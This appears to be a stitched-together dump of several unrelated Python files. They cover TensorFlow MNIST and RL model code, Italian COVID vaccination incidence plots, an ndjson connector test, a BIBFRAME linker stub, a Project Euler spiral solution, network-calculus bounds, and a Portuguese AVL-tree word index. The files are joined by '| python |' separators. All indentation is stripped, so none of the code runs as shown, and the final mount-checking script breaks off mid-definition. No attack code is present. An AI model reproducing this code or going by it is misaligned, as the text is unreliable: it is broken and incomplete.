# frappe.throw("Their can be only one Department Head for %s"%(department)) | python |
import tensorflow as tf
import numpy as np
import os
from user_ops import ft_pool
#os.environ['CUDA_VISIBLE_DEVICES'] = ''
mnist = tf.keras.datasets.mnist
(x_train, y_train),(x_test, y_test) = mnist.load_data()
x_train, x_test = x_train / 255.0, x_test / 255.0
x_train = np.expand_dims(x_train, axis=3)
x_test = np.expand_dims(x_test, axis=3)
x_train = x_train.astype(np.float32)
x_test = x_test.astype(np.float32)
print(x_train.dtype)
f = open('accuracy', 'w')
iterations = 1
abc = 5.0
acc = [0,0]
for iteration in range(0, iterations):
print("... starting {}-th iteration - ft pooling ...".format(iteration))
input_ = tf.keras.layers.Input(shape=(28, 28, 1), name='input_layer')
x = tf.keras.layers.Conv2D(2, (3,3), activation=tf.nn.relu, name='conv2D_1')(input_)
x = tf.keras.layers.Lambda(lambda x: ft_pool(x, (1.4,1.4), abc), name='lambda')(x)
x = tf.keras.layers.Conv2D(2, (3,3), activation=tf.nn.relu, name='conv2D_2')(x)
x = tf.keras.layers.Flatten(name='flatten')(x)
x = tf.keras.layers.Dense(10, activation=tf.nn.relu, name='dense_1')(x)
x = tf.keras.layers.Dropout(0.2, name='dropout')(x)
output_ = tf.keras.layers.Dense(10, activation=tf.nn.softmax, name='dense_2')(x)
abc += 20.0
model = tf.keras.Model(inputs=input_, outputs=output_)
model.compile(optimizer='adam', loss='sparse_categorical_crossentropy',
metrics=['accuracy'])
print(model.summary())
#model.train_on_batch(x_train[:4, ...], y_train[:4, ...])
hist = model.fit(x_train, y_train, epochs=2, batch_size=1)
acc[0] += hist.history['acc'][0]
acc[1] += hist.history['acc'][1]
tf.keras.backend.clear_session()
print('overall accuracy is {} for first epoch and {} for second epoch'.format(
acc[0]/iterations, acc[1]/iterations), file=f, end='\n')
acc = [0,0]
for iteration in range(0, iterations):
print("... starting {}-th iteration ...".format(iteration))
input_ = tf.keras.layers.Input(shape=(28, 28, 1))
x = tf.keras.layers.Conv2D(2, (3,3), activation=tf.nn.relu)(input_)
#x = tf.keras.layers.Lambda(lambda x: tf.nn.avg_pool(x, (1,2,2,1), (1,2,2,1),
# "VALID"))(x)
x = tf.keras.layers.Conv2D(2, (5,5), strides=(2,2))(x)
x = tf.keras.layers.Conv2D(2, (3,3), activation=tf.nn.relu)(x)
x = tf.keras.layers.Flatten()(x)
x = tf.keras.layers.Dense(10, activation=tf.nn.relu)(x)
x = tf.keras.layers.Dropout(0.2)(x)
output_ = tf.keras.layers.Dense(10, activation=tf.nn.softmax)(x)
model = tf.keras.Model(inputs=input_, outputs=output_)
model.compile(optimizer='adam', loss='sparse_categorical_crossentropy',
metrics=['accuracy'])
print(model.summary())
hist = model.fit(x_train, y_train, epochs=2)
acc[0] += hist.history['acc'][0]
acc[1] += hist.history['acc'][1]
tf.keras.backend.clear_session()
print('overall accuracy is {} for first epoch and {} for second epoch'.format(
acc[0]/iterations, acc[1]/iterations), file=f, end='\n') | python |
import tensorflow as tf
from tensorflow.contrib.layers.python.layers import initializers
from enum import Enum
def dense_block(input_node, layers, name, activation=tf.nn.relu, batch_norm_phase=None, last_layer_activation=False,
detailed_summary=False):
with tf.variable_scope(name):
output = input_node
for i, layer in enumerate(layers):
if i == len(layers) - 1 and not last_layer_activation:
output = tf.layers.dense(output, layer)
else:
output = tf.layers.dense(output, layer, activation=activation)
if batch_norm_phase is not None:
output = tf.contrib.layers.batch_norm(output, center=True, scale=True, is_training=batch_norm_phase)
if detailed_summary:
with tf.name_scope("layer_%d_output" % (i + 1)):
variable_summaries(output)
return output
def dense(cls, input_layer, shape, dtype=tf.float32, activation=tf.nn.relu, name="dense", detailed_summary=False):
with tf.variable_scope(name):
w = tf.get_variable("w", shape=shape, dtype=dtype, initializer=initializers.xavier_initializer())
b = tf.get_variable("b", shape=shape[1], dtype=dtype, initializer=tf.zeros_initializer())
out = tf.nn.bias_add(tf.matmul(input_layer, w), b)
if detailed_summary:
with tf.name_scope('w'):
cls.variable_summaries(w)
with tf.name_scope('b'):
cls.variable_summaries(b)
with tf.name_scope('output'):
cls.variable_summaries(out)
if activation is not None:
return activation(out)
else:
return out
def variable_summaries(var, name="summaries"):
"""Attach a lot of summaries to a Tensor (for TensorBoard visualization)."""
with tf.name_scope(name):
mean = tf.reduce_mean(var)
tf.summary.scalar('mean', mean)
with tf.name_scope('stddev'):
stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))
tf.summary.scalar('stddev', stddev)
tf.summary.scalar('max', tf.reduce_max(var))
tf.summary.scalar('min', tf.reduce_min(var))
tf.summary.histogram('histogram', var)
def huber_loss(x, delta=1.0):
return tf.where(
tf.abs(x) < delta,
tf.square(x) * 0.5,
delta * (tf.abs(x) - 0.5 * delta)
)
def create_target_update_ops(model_name, target_model_name, update_rate):
# inspired by: https://github.com/yukezhu/tensorflow-reinforce/blob/master/rl/neural_q_learner.py
net_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=model_name)
target_net_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=target_model_name)
target_update = []
for v_source, v_target in zip(net_vars, target_net_vars):
# this is equivalent to target = (1-alpha) * target + alpha * source
update_op = v_target.assign_sub(update_rate * (v_target - v_source))
target_update.append(update_op)
return tf.group(*target_update)
class NeuralNetwork:
class Type(Enum):
MLP = 1
CNN_MLP = 2
def __init__(self, config, type):
self.config = config
self.type = type
def build(self, input_dim, output_dim, name):
with tf.variable_scope(name):
if self.type == self.Type.MLP:
input_layer = tf.placeholder(tf.float32, shape=(None, input_dim))
output_layer = dense_block(input_layer, [*self.config["hidden"], output_dim], "dense", batch_norm_phase=self.config["batch_norm"])
return input_layer, output_layer
elif self.type == self.Type.CNN_MLP:
input_layer = tf.placeholder(tf.float32, shape=(None, *input_dim))
output = input_layer
if self.config["pool"] is None:
iter = zip(self.config["conv"], [None] * len(self.config["conv"]))
else:
iter = zip(self.config["conv"], self.config["pool"])
for conv_config in iter:
output = tf.layers.conv2d(output, conv_config[0]["num_maps"], conv_config[0]["filter_shape"], strides=conv_config[0]["stride"], padding="same", activation=tf.nn.relu)
if conv_config[1] is not None:
output = tf.layers.max_pooling2d(output, conv_config[1]["shape"], conv_config[1]["stride"])
output = tf.reshape(output, [-1, output.get_shape()[1].value * output.get_shape()[2].value * output.get_shape()[3].value])
output_layer = dense_block(output, [*self.config["hidden"], output_dim], "dense")
return input_layer, output_layer | python |
# -*- coding: utf-8 -*-
import locale
from os import chdir, path
import matplotlib as mpl
import matplotlib.pyplot as plt
import pandas as pd
from custom.plots import apply_plot_treatment, get_xticks_labels, palette
from custom.preprocessing_dataframe import (compute_incidence,
compute_incidence_std,
get_df_complessivo)
from custom.watermarks import add_last_updated, add_watermark
colori_incidenza = [palette[i] for i in [4, 1, 5]]
# Funzioni per il plot
def which_axe(axis):
""" Imposta proprietà grafico """
axis.set_xlabel("")
axis.xaxis.reset_ticks()
axis.set_xticks(x_ticks)
axis.set_xticklabels(x_labels)
axis.legend(["Non vaccinati", "Vaccinati 2/3 dosi",
"Vaccinati 3 dosi"], loc="upper left")
axis.grid()
# Importa dati
def load_data():
""" Importa dati dell'Istituto Superiore di Sanità
ricavati dai bollettini settimanali. Vedi ad esempio:
epicentro.iss.it/coronavirus/bollettino/
Bollettino-sorveglianza-integrata-COVID-19_15-settembre-2021.pdf"""
df_epid, df_pop = get_df_complessivo()
# Calcola tassi di infezione, ospedalizzazione e decessi
# per vaccinati e non vaccinati
# Ricava i tassi, dividendo per la popolazione vaccinati e non vaccinata
df_tassi = compute_incidence(df_epid, df_pop)
df_tassi.index = pd.to_datetime(df_epid["data"])
# Ricava i tassi standardizzati per fascia di età
df_tassi_std = compute_incidence_std()
# Calcola i numeri assoluti (medi, giornalieri) dell"epidemia
df_epid = df_epid.copy(deep=True)
df_epid["data"] = pd.to_datetime(df_epid["data"])
df_epid.set_index("data", drop=True, inplace=True)
# Trasforma in numeri giornalieri
df_epid = (1/30)*df_epid
return df_tassi, df_tassi_std, df_epid
# Rappresentazione grafica dei risultati
@mpl.rc_context({"legend.handlelength": 1.0, "axes.prop_cycle": mpl.cycler(color=colori_incidenza)})
def plot_incidenza(show=False, is_std=False):
""" Tassi di infezione, ricovero, decesso """
fig, ax = plt.subplots(nrows=2, ncols=2, figsize=(8.5, 8.5))
# Unpack all the axes subplots
axes = ax.ravel()
y_label = "Ogni 100.000 persone per ciascun gruppo"
titoli = ["dei nuovi casi", "degli ospedalizzati",
"dei ricoverati in TI", "dei deceduti"]
eventi = [["Casi, non vaccinati", "Casi, vaccinati completo", "Casi, booster"],
["Ospedalizzati, non vaccinati", "Ospedalizzati, vaccinati completo", "Ospedalizzati, booster"],
["In terapia intensiva, non vaccinati", "In terapia intensiva, vaccinati completo", "In terapia intensiva, booster"],
["Deceduti, non vaccinati", "Deceduti, vaccinati completo", "Deceduti, booster"]]
for i, evento in enumerate(eventi):
(df_tassi_std[evento] if is_std else df_tassi[evento]).plot(ax=axes[i])
axes[i].set_title("Incidenza mensile " + titoli[i])
axes[i].set_ylabel(y_label)
which_axe(axes[i])
# Add watermarks
add_watermark(fig)
add_last_updated(fig, axes[-1])
fig.tight_layout()
f_suff = "_std" if is_std else ""
fig.savefig(f"../risultati/andamento_epidemia{f_suff}.png",
dpi=300,
bbox_inches="tight")
if show:
plt.show()
@mpl.rc_context({"legend.handlelength": 1.0, "axes.prop_cycle": mpl.cycler(color=colori_incidenza)})
def plot_num_assoluti(show=False):
""" Andamento dei numeri assoluti """
fig, ax = plt.subplots(nrows=2, ncols=2, figsize=(8.5, 8.5))
# Unpack all the axes subplots
axes = ax.ravel()
titoli = ["Nuovi casi giornalieri", "Nuovi ospedalizzati giornalieri",
"Nuovi ricoverati in TI", "Decessi giornalieri"]
eventi = [["casi non vaccinati", "casi vaccinati completo", "casi booster"],
["ospedalizzati non vaccinati", "ospedalizzati vaccinati completo", "ospedalizzati booster"],
["terapia intensiva non vaccinati", "terapia intensiva vaccinati completo", "terapia intensiva booster"],
["decessi non vaccinati", "decessi vaccinati completo", "decessi booster"]]
for i, evento in enumerate(eventi):
df_epid[evento].plot(ax=axes[i])
axes[i].set_title(titoli[i] + " (media 30 gg)")
which_axe(axes[i])
# Add watermarks
add_watermark(fig)
add_last_updated(fig, axes[-1])
fig.tight_layout()
fig.savefig("../risultati/andamento_epidemia_num_assoluti.png",
dpi=300,
bbox_inches="tight")
if show:
plt.show()
@mpl.rc_context({"legend.handlelength": 1.0, "axes.prop_cycle": mpl.cycler(color=colori_incidenza)})
def plot_riassunto(show=False, is_std=False):
""" Plot figura riassuntiva incidenze/numeri assoluti"""
fig, ax = plt.subplots(nrows=2, ncols=3, figsize=(12, 8))
# Unpack all the axes subplots
axes = ax.ravel()
# plot incidenze
y_label = "Ogni 100.000 persone per ciascun gruppo"
titoli = ["degli ospedalizzati", "dei ricoverati in TI", "dei deceduti"]
eventi = [["Ospedalizzati, non vaccinati", "Ospedalizzati, vaccinati completo", "Ospedalizzati, booster"],
["In terapia intensiva, non vaccinati", "In terapia intensiva, vaccinati completo", "In terapia intensiva, booster"],
["Deceduti, non vaccinati", "Deceduti, vaccinati completo", "Deceduti, booster"]]
for i, evento in enumerate(eventi):
(df_tassi_std[evento] if is_std else df_tassi[evento]).plot(ax=axes[i])
axes[i].set_title("Incidenza mensile " + titoli[i])
axes[i].set_ylabel(y_label)
which_axe(axes[i])
# plot numeri assoluti
titoli = ["Nuovi ospedalizzati giornalieri",
"Nuovi ricoverati in TI", "Decessi giornalieri"]
eventi = [["ospedalizzati non vaccinati", "ospedalizzati vaccinati completo", "ospedalizzati booster"],
["terapia intensiva non vaccinati", "terapia intensiva vaccinati completo", "terapia intensiva booster"],
["decessi non vaccinati", "decessi vaccinati completo", "decessi booster"]]
for i, evento in enumerate(eventi):
df_epid[evento].plot(ax=axes[i+3])
axes[i+3].set_title(titoli[i] + " (media 30 gg)")
which_axe(axes[i+3])
fig.tight_layout()
# Add watermarks
add_watermark(fig)
add_last_updated(fig, axes[-1])
f_suff = "_std" if is_std else ""
fig.savefig(f"../risultati/andamento_epidemia_riassunto{f_suff}.png",
dpi=300,
bbox_inches="tight")
if show:
plt.show()
@mpl.rc_context({"lines.marker": None})
def plot_rapporto_tassi(show=False, is_std=False):
""" Rapporto fra tassi """
fig, ax = plt.subplots(figsize=(6, 5))
tassi = df_tassi_std if is_std else df_tassi
(tassi["Casi, non vaccinati"]/tassi["Casi, vaccinati completo"]).plot(label="Nuovi casi")
(tassi["Ospedalizzati, non vaccinati"]/tassi["Ospedalizzati, vaccinati completo"]).plot(label="Ospedalizzazione")
(tassi["In terapia intensiva, non vaccinati"]/tassi["In terapia intensiva, vaccinati completo"]).plot(label="Ricovero in TI")
(tassi["Deceduti, non vaccinati"]/tassi["Deceduti, vaccinati completo"]).plot(label="Decesso")
ax.xaxis.reset_ticks()
ax.set_xticks(x_ticks)
ax.set_xticklabels(x_labels)
ax.set_title("Rapporto fra le incidenze")
ax.set_ylabel("Non vaccinati/vaccinati")
ax.set_xlabel("")
ax.grid()
ax.legend()
fig.tight_layout()
# Add watermarks
add_watermark(fig)
add_last_updated(fig, ax, y=-0.030)
f_suff = "_std" if is_std else ""
fig.savefig(f"../risultati/rapporto_tra_tassi{f_suff}.png",
dpi=300,
bbox_inches="tight")
if show:
plt.show()
if __name__ == "__main__":
# Set work directory for the script
scriptpath = path.dirname(path.realpath(__file__))
chdir(scriptpath)
# Set locale to "it" to parse the month correctly
locale.setlocale(locale.LC_ALL, "it_IT.UTF-8")
# Imposta stile grafici
apply_plot_treatment()
df_tassi, df_tassi_std, df_epid = load_data()
x_ticks, x_labels = get_xticks_labels(reports_dates=df_epid.index)
plot_incidenza()
plot_incidenza(is_std=True)
plot_rapporto_tassi()
plot_rapporto_tassi(is_std=True)
plot_num_assoluti()
plot_riassunto()
plot_riassunto(is_std=True)
| python |
"""
Created on 17 Dec 2020
@author: si
"""
import os
import tempfile
import unittest
import ayeaye
from ayeaye.connectors.ndjson_connector import NdjsonConnector
PROJECT_TEST_PATH = os.path.dirname(os.path.abspath(__file__))
EXAMPLE_NDJSON_UK_PUBS = os.path.join(PROJECT_TEST_PATH, "data", "uk_pubs.ndjson")
class TestNdjsonConnector(unittest.TestCase):
def test_iterate_over_json_lines(self):
c = NdjsonConnector(engine_url="ndjson://" + EXAMPLE_NDJSON_UK_PUBS)
uk_pubs_names = [pub.name for pub in c]
expected = "The New Flying Horse" # just check one expected value has been found
self.assertIn(expected, uk_pubs_names)
def test_ndjson_write(self):
"""
Write to a file without using a schema.
"""
data_dir = tempfile.mkdtemp()
ndjson_file = os.path.join(data_dir, "frog_fish.ndjson")
c = NdjsonConnector(engine_url="ndjson://" + ndjson_file, access=ayeaye.AccessMode.WRITE)
for common_name in ["Warty frogfish", "Hairy Frogfish"]:
p = ayeaye.Pinnate({"common_name": common_name})
c.add(p)
c.close_connection() # flush to disk
with open(ndjson_file, "r", encoding=c.encoding) as f:
file_content = f.read()
expected_content = '{"common_name": "Warty frogfish"}\n' '{"common_name": "Hairy Frogfish"}\n'
self.assertEqual(expected_content, file_content)
| python |
"""Helper module for linking existing BIBFRAME resources to external data
sources like Library of Congress, DBPedia, VIAF, and others."""
__author__ = "Jeremy Nelson, Mike Stabile"
import os
import rdflib
import sys
BIBCAT_BASE = os.path.abspath(
os.path.split(
os.path.dirname(__file__))[0])
class Linker(object):
"""Base Linker class for all other linker classes"""
def __init__(self, **kwargs):
self.triplestore_url = kwargs.get(
"triplestore_url",
"http://localhost:9999/blazegraph/sparql")
def run(self):
pass
class LinkerError(Exception):
"""Custom Error for Linker Classes"""
def __init__(self, value, details):
self.value = value
self.details = details
def __str__(self):
return repr(self.value)
| python |
"""
# PROBLEM 28
Starting with the number 1 and moving to the right in a clockwise direction a 5 by 5 spiral is
formed as follows:
21 22 23 24 25
20 7 8 9 10
19 6 1 2 11
18 5 4 3 12
17 16 15 14 13
It can be verified that the sum of the numbers on the diagonals is 101.
What is the sum of the numbers on the diagonals in a 1001 by 1001 spiral formed in the same way?
"""
# There's a predictable pattern in the perimeter
def get_perimeter(n):
return 4 * (n - 1) # simplified for of 4 * n - 4
# But what's best is if we can get the perimeter for arbitrary layer
def get_perimeter_for_layer(layer):
layer_size = 2 * layer + 1
return get_perimeter(layer_size), layer_size
# I feel like the problem isn't hard, it's just begging for 1001 compounded off by one errors :'(
# Let's make sure I can get the right answer in a trivial case? (i.e. one I already know the
# answer to)
def calculate_diagonal_sum(max_layer_size):
layer = 0
_, layer_size = get_perimeter_for_layer(layer)
place = 1
diagonals = [place]
while layer_size < max_layer_size:
layer += 1
perimeter, layer_size = get_perimeter_for_layer(layer)
diagonal_positions = [perimeter/4, perimeter/2, 3 * perimeter / 4, perimeter]
for position, number in enumerate(range(place + 1, place + 1 + perimeter)):
if position + 1 in diagonal_positions:
diagonals.append(number)
place = number # despite what my IDE thinks, number isn't scoped to the loop!
return sum(diagonals)
print(calculate_diagonal_sum(3)) # 25
print(calculate_diagonal_sum(5)) # 101!
print('Final:', calculate_diagonal_sum(1001))
| python |
"""Compute performance standard_bound and write into csv file"""
from typing import List
import pandas as pd
from bound_evaluation.data_frame_to_csv import perform_param_list_to_csv
from nc_arrivals.arrival_distribution import ArrivalDistribution
from nc_arrivals.iid import DM1, MD1
from nc_arrivals.markov_modulated import MMOOCont
from nc_operations.perform_enum import PerformEnum
from nc_server.constant_rate_server import ConstantRateServer
from optimization.opt_method import OptMethod
from optimization.optimize import Optimize
from utils.perform_param_list import PerformParamList
from h_mitigator.optimize_mitigator import OptimizeMitigator
from h_mitigator.single_server_mit_perform import SingleServerMitPerform
# import sys
# import os
# Necessary to make it executable in terminal
# sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)),
# os.pardir))
def single_server_df(arr_list: List[ArrivalDistribution],
ser_list: List[ConstantRateServer], opt_method: OptMethod,
perform_param_list: PerformParamList) -> pd.DataFrame:
"""
Compute output standard_bound for T in T_list and write into dataframe
Args:
arr_list: Arrival object list
ser_list: Service object list
opt_method: method name as string, GS or PS
perform_param_list: list of performance parameter values
Returns:
dataframe
"""
standard_bound = [0.0] * len(perform_param_list)
new_bound = [0.0] * len(perform_param_list)
for _i in range(len(perform_param_list)):
setting = SingleServerMitPerform(
arr_list=arr_list,
server=ser_list[0],
perform_param=perform_param_list.get_parameter_at_i(_i))
if opt_method == OptMethod.GRID_SEARCH:
standard_bound[_i] = Optimize(setting=setting,
number_param=1).grid_search(
grid_bounds=[(0.1, 4.0)],
delta=0.1).obj_value
new_bound[_i] = OptimizeMitigator(setting_h_mit=setting,
number_param=2).grid_search(
grid_bounds=[(0.1, 4.0),
(0.9, 8.0)],
delta=0.05).obj_value
elif opt_method == OptMethod.PATTERN_SEARCH:
standard_bound[_i] = Optimize(setting=setting,
number_param=1).pattern_search(
start_list=[0.5],
delta=3.0,
delta_min=0.01).obj_value
new_bound[_i] = OptimizeMitigator(setting_h_mit=setting,
number_param=2).pattern_search(
start_list=[0.5, 2.0],
delta=3.0,
delta_min=0.01).obj_value
else:
raise NotImplementedError(
f"Optimization parameter {opt_method} is infeasible")
delay_bounds_df = pd.DataFrame(
{
"standard_bound": standard_bound,
"h_mit_bound": new_bound
},
index=perform_param_list.values_list)
return delay_bounds_df
if __name__ == '__main__':
OUTPUT_LIST = PerformParamList(perform_metric=PerformEnum.OUTPUT,
values_list=list(range(4, 15)))
print(
perform_param_list_to_csv(prefix="single_",
data_frame_creator=single_server_df,
arr_list=[DM1(lamb=3.8, m=1)],
ser_list=[ConstantRateServer(rate=3.0)],
perform_param_list=OUTPUT_LIST,
opt_method=OptMethod.GRID_SEARCH))
print(
perform_param_list_to_csv(
prefix="single_",
data_frame_creator=single_server_df,
arr_list=[MMOOCont(mu=8.0, lamb=12.0, peak_rate=3.0, m=1)],
ser_list=[ConstantRateServer(rate=1.5)],
perform_param_list=OUTPUT_LIST,
opt_method=OptMethod.GRID_SEARCH))
RATE_1 = ConstantRateServer(rate=1.0)
print(
perform_param_list_to_csv(prefix="single_",
data_frame_creator=single_server_df,
arr_list=[MD1(lamb=0.5, mu=1.0)],
ser_list=[RATE_1],
perform_param_list=OUTPUT_LIST,
opt_method=OptMethod.GRID_SEARCH))
| python |
# v3 - Melhoramentos: Retirei "in" em "x in array"; implementei pesquisa binaria; print_array; etc.
# v3 Abordagem Ate as folhas, depois de Baixo-para-Cima, Recursiva
# pai.direcao = return no filho da recursividade
# #### BIBLIOTECAS ####
import sys
# #### CONSTANTES ####
CMD_IN_LINHAS = "LINHAS"
CMD_OUT_NULO = "-1"
CMD_IN_ASSOC = "ASSOC"
CMD_OUT_NAOENCONTRADA = "NAO ENCONTRADA."
CMD_OUT_ENCONTRADA = "ENCONTRADA."
CMD_IN_TERMINADO = "TCHAU\n"
CMD_IN_TERMINADO2 = "TCHAU"
CMD_IN_TEXTO = "TEXTO\n"
CMD_IN_FIM = "FIM.\n"
CMD_OUT_GUARDADO = "GUARDADO."
# #### FUNCOES ####
class Elemento:
def __init__(self, input_palavra, input_ocorrencias):
self.palavra = input_palavra
self.ocorrencias = []
self.ocorrencias.append(input_ocorrencias)
def add_ocorrencia(self, count):
if not count == self.ocorrencias[-1]:
self.ocorrencias.append(count)
class No:
def __init__(self, input_elemento=None, input_esquerda=None, input_direita=None):
self.elemento = input_elemento
self.esquerda = input_esquerda
self.direita = input_direita
self.altura = 1
class ArvoreAVL:
def __init__(self, input_raiz=None):
self.raiz = input_raiz
def rotacao_esq(self, input_no_k1): # Faz rotacao simples com filho k2 a direita, E <- D
# ### FUNCAO ### Rotacao Simples Esquerda (Direcao <-)
no_k2 = input_no_k1.direita
no_k3 = no_k2.esquerda
no_k2.esquerda = input_no_k1
input_no_k1.direita = no_k3
input_no_k1.altura = 1 + max(self.get_altura(input_no_k1.esquerda), self.get_altura(input_no_k1.direita)) # Cumprir ordem para obter altura coerente
no_k2.altura = 1 + max(self.get_altura(no_k2.esquerda), self.get_altura(no_k2.direita)) # Altura anterior + 1 (para incluir o no atual)
return no_k2 # Nova raiz da sub-arvore
def rotacao_dir(self, input_no_k1): # Faz rotacao simples com filho k2 a esquerda, E -> D
# ### FUNCAO ### Rotacao Simples Direita ( Direcao ->)
no_k2 = input_no_k1.esquerda
no_k3 = no_k2.direita
no_k2.direita = input_no_k1
input_no_k1.esquerda = no_k3
input_no_k1.altura = 1 + max(self.get_altura(input_no_k1.esquerda), self.get_altura(input_no_k1.direita))
no_k2.altura = 1 + max(self.get_altura(no_k2.esquerda), self.get_altura(no_k2.direita))
return no_k2
def rotacao_esq_dir(self, input_no_k1): # Faz rotacao com filho k2 a direita | Faz rotacao com filho k2 a esquerda ?
# ### FUNCAO ### Rotacao Dupla Esquerda-Direita ( Direcao <- e ->)
input_no_k1.esquerda = self.rotacao_esq(input_no_k1.esquerda)
return self.rotacao_dir(input_no_k1)
def rotacao_dir_esq(self, input_no_k1): # Faz rotacao com filho k2 a esquerda | Faz rotacao com filho k2 a direita ?
# ### FUNCAO ### Rotacao Dupla Direita-Esquerda ( Direcao -> e <-)
input_no_k1.direita = self.rotacao_dir(input_no_k1.direita)
return self.rotacao_esq(input_no_k1)
def procura_palavra(self, input_palavra):
# ### FUNCAO ### Procura Palavra na Arvore e return esse elemento, se nao existe retorna: None
no = self.raiz
while no is not None:
if compara_str(input_palavra, no.elemento.palavra) == 0:
return no.elemento
elif compara_str(input_palavra, no.elemento.palavra) == 1:
no = no.direita
else:
no = no.esquerda
return None
def inserir_elemento(self, input_raiz, input_elemento): # input_raiz -> raiz ou no da sub-arvore
# ### FUNCAO ### Inserir Elementos na Arvore AVP, recursivamente, ate chegar as folhas nulas, inserindo-o
if input_raiz is None: # Insere o elemento
novo_no = No(input_elemento)
return novo_no
elif compara_str(input_raiz.elemento.palavra, input_elemento.palavra) == 1: # Se a str 1 (no da arvore) e maior
input_raiz.esquerda = self.inserir_elemento(input_raiz.esquerda, input_elemento)
else: # Se a str 2 (novo no) e maior
input_raiz.direita = self.inserir_elemento(input_raiz.direita, input_elemento)
input_raiz.altura = 1 + max(self.get_altura(input_raiz.esquerda), self.get_altura(input_raiz.direita)) # Altura anterior + 1 (para incluir o no atual)
# ----------------------- Verificar Equilibrio, fazer rotacoes para corrigir ----------------------
equilibrio = self.get_equilibrio(input_raiz)
if equilibrio > 1: # Lado Esquerdo MAIOR que o Direito (na sub-arvore do no atual: input_raiz)
if compara_str(input_raiz.esquerda.elemento.palavra, input_elemento.palavra) == 1: # str 1 (Palavra no->esquerdo) MAIOR que str 2 (Palavra nova inserida)
# Se Caminho entre Avo-Pai-Filho -> Esq-Esq
return self.rotacao_dir(input_raiz)
else: # str 2 (Palavra nova inserida) MAIOR que str 1 (Palavra no->esquerdo)
# Se Caminho entre Avo-Pai-Filho -> Esq-Dir
return self.rotacao_esq_dir(input_raiz)
if equilibrio < -1: # Lado Direito MAIOR que o Esquerdo (na sub-arvore do no atual: input_raiz)
if compara_str(input_raiz.direita.elemento.palavra, input_elemento.palavra) == 2: # str 1 (Palavra no->esquerdo) MAIOR que str 2 (Palavra nova inserida)
# Se Caminho entre Avo-Pai-Filho -> Dir-Dir
return self.rotacao_esq(input_raiz)
else: # str 2 (Palavra nova inserida) MAIOR que str 1 (Palavra no->esquerdo)
# Se Caminho entre Avo-Pai-Filho -> Dir-Esq
return self.rotacao_dir_esq(input_raiz)
return input_raiz # Sem rotacoes
def get_altura(self, input_no):
# ### FUNCAO ### Get Altura guardado no atributo do no, ou 0 se o no e nulo
if input_no is None:
return 0
return input_no.altura
def get_equilibrio(self, input_no):
# ### FUNCAO ### Get Equilibrio atraves da altura guardado no atributo do no, ou 0 se o no e nulo
if input_no is None:
return 0
return self.get_altura(input_no.esquerda) - self.get_altura(input_no.direita) # Equilibrio da sub-arvore
def compara_str(str1, str2):
# ### FUNCAO ### str1 maior: return 1, str2 maior: return 2, iguais: return 0
if str1 > str2: # Str1 Maior
return 1
elif str1 < str2: # Str2 Maior
return 2
else: # Iguais
return 0
def input_texto(arvore_avl):
# ### FUNCAO ### Le e manipula o texto do stdin ate CMD_IN_FIM
count = 0
for linha in sys.stdin:
if count == 0 and linha == "":
sys.exit("Erro - Sem Texto para input")
if linha == CMD_IN_FIM:
break
palavra = ""
for ch in linha:
if ch == '\n':
if len(palavra) > 0:
palavra = palavra.lower()
elemento = arvore_avl.procura_palavra(palavra)
if elemento is not None:
elemento.add_ocorrencia(count)
else:
elemento = Elemento(palavra, count)
arvore_avl.raiz = arvore_avl.inserir_elemento(arvore_avl.raiz, elemento)
palavra = ""
elif ch == ' ' or ch == '.' or ch == ',' or ch == ';' or ch == '(' or ch == ')':
if len(palavra) > 0:
palavra = palavra.lower()
elemento = arvore_avl.procura_palavra(palavra)
if elemento is not None:
elemento.add_ocorrencia(count)
else:
elemento = Elemento(palavra, count)
arvore_avl.raiz = arvore_avl.inserir_elemento(arvore_avl.raiz, elemento)
elemento = arvore_avl.procura_palavra(ch)
if elemento is not None:
elemento.add_ocorrencia(count)
else:
elemento = Elemento(ch, count)
arvore_avl.raiz = arvore_avl.inserir_elemento(arvore_avl.raiz, elemento)
palavra = ""
else:
palavra = palavra + ch
count += 1
print(CMD_OUT_GUARDADO)
return 0
def input_cmd(arvore_avl):
# ### FUNCAO ### Le, executa e escreve no stdout os comandos no stdin, ate CMD_IN_TERMINADO
for linha in sys.stdin:
if linha == CMD_IN_TERMINADO2:
break
elif linha == CMD_IN_TERMINADO:
break
elif linha == "":
break
elif (CMD_IN_LINHAS in linha) and (linha.index(CMD_IN_LINHAS) == 0):
palavra = linha[len(CMD_IN_LINHAS)+1:len(linha)-1]
palavra = palavra.lower()
elemento = arvore_avl.procura_palavra(palavra)
if elemento is not None:
print(print_array(elemento.ocorrencias))
else:
print(CMD_OUT_NULO)
elif (CMD_IN_ASSOC in linha) and (linha.index(CMD_IN_ASSOC) == 0):
palavras = linha.split(' ')
palavras[2] = (palavras[2])[:len(palavras[2])-1]
palavras[1] = palavras[1].lower()
elemento = arvore_avl.procura_palavra(palavras[1])
if elemento is not None:
if not (pesquisa_binaria(elemento.ocorrencias, int(palavras[2])) == -1):
print(CMD_OUT_ENCONTRADA)
else:
print(CMD_OUT_NAOENCONTRADA)
else:
print(CMD_OUT_NAOENCONTRADA)
else:
sys.exit("Erro - Interpretacao dos comandos pos-texto")
return 0
def pesquisa_binaria(array, valor):
# ### FUNCAO ### Pesquisa Binaria Classica num Array/Lista, input array e valor, return indice ou -1 se nao existir
inicio = 0
fim = len(array)-1
if fim == -1:
return -1
while inicio <= fim:
meio = inicio + (fim - inicio) // 2 # Divisao Real, Arredonda para baixo
if array[meio] == valor: # Valor esta no meio
return meio
elif array[meio] < valor: # Se valor e maior que o meio, ignora metade inferior
inicio = meio + 1
else: # Se for menor que o meio, ignora metade superior
fim = meio - 1
return -1 # Nao existe
def print_array(array):
# ### FUNCAO ### Transforma os dados num array numa string com espacos
string = ""
for num in array:
string = string + " " + str(num)
return string[1:]
def main():
# ### FUNCAO ### Funcao Principal
arvore_avl = ArvoreAVL()
if sys.stdin.readline() == CMD_IN_TEXTO:
input_texto(arvore_avl)
else:
sys.exit("Erro - Sem Comando Incial: " + CMD_IN_TEXTO)
input_cmd(arvore_avl)
return 0
if __name__ == '__main__':
# ### START ###
main()
| python |
import logging
import pathlib
import shlex
import subprocess
import time
import argh
logging.basicConfig(
level=logging.DEBUG,
format="%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s",
datefmt="%Y-%m-%d %H:%M:%S",
)
def is_path_mounted(path):
mount_out = subprocess.check_output("mount").decode().split()
return str(path) in mount_out
def go(
